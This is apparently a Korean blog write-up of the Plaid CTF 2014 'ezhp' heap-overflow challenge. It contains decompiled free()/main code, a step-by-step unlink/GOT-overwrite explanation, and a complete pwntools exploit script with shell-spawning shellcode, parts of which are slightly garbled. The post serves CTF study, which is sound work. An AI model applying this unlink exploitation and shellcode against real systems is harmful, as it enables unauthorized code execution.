본문 바로가기

공부는 계속 ../Pwnable Writeup

Plaid CTF 2014 ezhp

ezhp

test.py


Double Free bug 공부 이후 처음 풀어보는 Heap overflow CTF 문제이다.


바이너리를 어느정도 분석해보면 알수있듯이, 예전버전의 glic때 썼던 free 알고리즘을 사용한다.


하지만 그때와는 다르다. free를 하지 않아도 fd, bk 가 존재했고, 또 다른 점은 unlink()시 bk+4 = fd, fd +8 = bk 가 들어간다. (2번째 함수 참조)


fd, bk 검증 구문도 따로 없어서 힙 익스 연습용으로 적합하게 제작된 문제로 보인다.


문제의 풀이는 요기 블로그를 참조했다.. 아직은 혼자 풀 실력이 안됨.. write-up 참조.. (http://nextline.tistory.com/104 )


<이해가 안갈수도 있는 부분>


왜 두 번째 청크의 prev_size, size 의 값을 0xffffffff, 0xffffffff 로 설정하였는가?

 -> 보통 unlink()를 진행하면 병합을 해야만 fd, bk 가 바뀐다. 하지만 아래 바이너리를 보면..

 -> |prev_size| | size | | fd | | bk | |data| 이렇게 되어있는 것을 예상할 수 있을지언데.. 

(하지만 좀 이상한게.. 바이너리 보면 bk+4 = fd, fd+8 = bk 라고 하니.. +8, +12가 되어야 하지 않나?) custom malloc, free 니 이해하자 최대한 문제를 푸는데 집중.. 분석해보면 알겠지만, 하고 싶지가 않다...

 -> 그리고 bk, fd 는 조작된 유효한 주소들(쉘코드 등등)을 갖고 있을 것이고 if(bk), if(fd) 가 성공해서 fd, bk 가 바뀐다.

 -> 즉.. 2번째 청크의 prev_size, size 값은 아무 의미가 없다. 

 -> 참 이렇게 적어놓고 보니 이 문제가 예전에 머리아프게 공부했던 unlink() 취약점인가도 싶기도 하고...그땐 PREV_INUSE(0)가 영향이 컸었음


int __cdecl free(int ptr)

{

  int result; // eax

  _DWORD *size; // [esp+4h] [ebp-Ch]

  int bk; // [esp+8h] [ebp-8h]

  int fd; // [esp+Ch] [ebp-4h]


  if ( ptr )

  {

    size = (_DWORD *)(ptr - 12);

    bk = *(_DWORD *)(ptr - 12 + 8);

    fd = *(_DWORD *)(ptr - 12 + 4);

    if ( bk )

      *(_DWORD *)(bk + 4) = fd;

    if ( fd )

      *(_DWORD *)(fd + 8) = bk;

    size[1] = *(_DWORD *)(dword_804B060 + 4);

    if ( *(_DWORD *)(dword_804B060 + 4) )

      *(_DWORD *)(*(_DWORD *)(dword_804B060 + 4) + 8) = size;

    *(_DWORD *)(dword_804B060 + 4) = size;

    result = ptr - 12;

    *size &= 0xFFFFFFFE;

  }

  return result;

}



왜 마지막 sendline("a") 를 했는가..? exit 호출하려면 "5" 아닌가?

 -> 바이너리를 확인해보면.. 5번은 goto LABEL_8; 임.. 그냥 정상 종료

 -> 다른 숫자를 넣어줘야함 (a,b,c,d ....등)


int __cdecl main()

{

  int result; // eax

  int v1; // [esp+1Ch] [ebp-4h]


  v1 = 0;

LABEL_8:

  while ( v1 != 5 )

  {

    sub_80489EB();

    v1 = sub_80489B3();

    switch ( v1 )

    {

      case 1:

        sub_8048794();                          // malloc

        break;

      case 2:

        sub_804881A();                          // free

        break;

      case 3:

        sub_8048893();                          // overflow!

        break;

      case 4:

        sub_8048956();                          // heap_address leak!

        break;

      case 5:

        goto LABEL_8;

      default:

        exit(0);

        return result;

    }

  }

  return 0;

}


익스플로잇은 write-up 이 잘되있어서 그냥.. 참고용으로 올려놓는다.


1. 힙 청크 3개를 선언. (size = 12)

2. 첫번째 청크를 overflow시켜서 두번째 청크의 fd를 leak함.

3. leak한 fd에 + 0xc를 해서 3번째 청크 데이터주소를 구함.

4. 다시 첫번째 청크를 overflow시켜서 두번째 청크의 fd, bk를 (leak_add+0xc), (exit_got+4)로 조작한다.

5. 2번째 청크를 지워서 unlink가 발생하도록 한다.

6. 3번 청크의 데이터 에다가 쉘코드를 써준다.

7. exit_got를 실행


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
from pwn import *
 
= ELF('./ezhp')
= process('./ezhp')
 
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
shellcode += "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
 
def leak():
 
    s.recvuntil('on.\n')
    s.sendline('3')
 
    s.recvuntil('id.\n')
    s.sendline('0')
 
    s.recvuntil('ze.\n')
    s.sendline('28')
 
    s.recvuntil('ta.\n')
    s.sendline('A' * 28)
 
    s.recvuntil('on.\n')
    s.sendline('4')
 
    s.recvuntil('id.\n')
    s.sendline('0')
 
    return (u32(s.recvline()[28:32]) + 0xc)
 
def exploit():
    for i in range(0,3):
        s.recvuntil('on.\n')
        s.sendline('1')
 
        s.recvuntil('ze.\n')
        s.sendline('12')
 
    leak_add = leak()
 
    print '[+] LEAK ADD : ' + hex(leak_add)
 
    # exit_got overwrite
    s.recvuntil('on.\n')
    s.sendline('3')
 
    s.recvuntil('id.\n')
    s.sendline('0')
 
    s.recvuntil('ze.\n')
    s.sendline('36')
 
    payload = 'A' * 20 + "\xff\xff\xff\xff" * 2
    payload += p32(leak_add) + p32(e.got['exit']-4)
    s.recvuntil('ta.\n')
    s.sendline(payload)
 
    s.recvuntil('on.\n')
    s.sendline('2')
 
    s.recvuntil('id.\n')
    s.sendline('1')
 
    print '[+] GOT OVERWRITE'
 
    # set shell code
    s.recvuntil('on.\n')
    s.sendline('3')
 
    s.recvuntil('id.\n')
     s.sendline('2')
 
    s.recvuntil('ze.\n')
    s.sendline('124')
 
    s.recvuntil('ta.\n')
    s.sendline('\x90' * 100 + shellcode + "\x00")
 
    print '[+] SET SHELL CODE'
 
    s.recvuntil('on.\n')
    s.sendline('A')
 
    print '[+] Get Shell!'
 
    s.interactive()
 
def main():
    exploit()
 
if __name__ == "__main__":
    main()
cs





'공부는 계속 .. > Pwnable Writeup' 카테고리의 다른 글

heap 문제 풀이 목록  (0) 2018.03.13
Codegate 2017 messenger  (0) 2018.03.01
Protostar heap3  (0) 2018.02.27
Double Free Bug  (0) 2018.02.23
Codegate 2017 - babypwn  (0) 2018.02.22